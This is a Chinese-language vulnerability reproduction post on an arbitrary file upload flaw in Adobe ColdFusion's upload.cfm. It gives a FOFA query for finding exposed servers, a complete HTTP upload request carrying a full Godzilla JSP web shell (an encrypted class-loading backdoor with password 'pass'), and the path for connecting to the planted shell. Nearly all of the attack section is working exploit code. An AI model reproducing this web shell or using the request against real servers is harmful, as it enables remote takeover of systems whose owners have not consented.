Adobe ColdFusion upload.cfm 任意文件上传漏洞

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漏洞复现 Adobe ColdFusion upload.cfm 任意文件上传漏洞

0x01 阅读须知

0x02 漏洞描述

coldfusion最早是由Allaire公司开发的一种应用服务器平台，其运行的CFML（ColdFusionMarkupLanguage）针对Web应用的一种脚本语言。文件以*.cfm为文件名，在ColdFusion专用的应用服务器环境下运行。Coldfusion系统 upload.cfm 存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限，导致服务器失陷。

0x03 漏洞复现

fofa：app=”adobe-ColdFusion”

1.执行上传哥斯拉马poc

POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 2908
Content-Type: multipart/form-data; boundary=---------------------------24464570528145
Accept-Encoding: gzip

-----------------------------24464570528145
Content-Disposition: form-data; name="file"; filename="old8.jsp"
Content-Type: image/jpeg

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){} %>
-----------------------------24464570528145
Content-Disposition: form-data; name="path"

old8.jsp
-----------------------------24464570528145--

2.哥斯拉连接，获得一个shell

http://{{Hostname}}/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/old8.jsp
密码：pass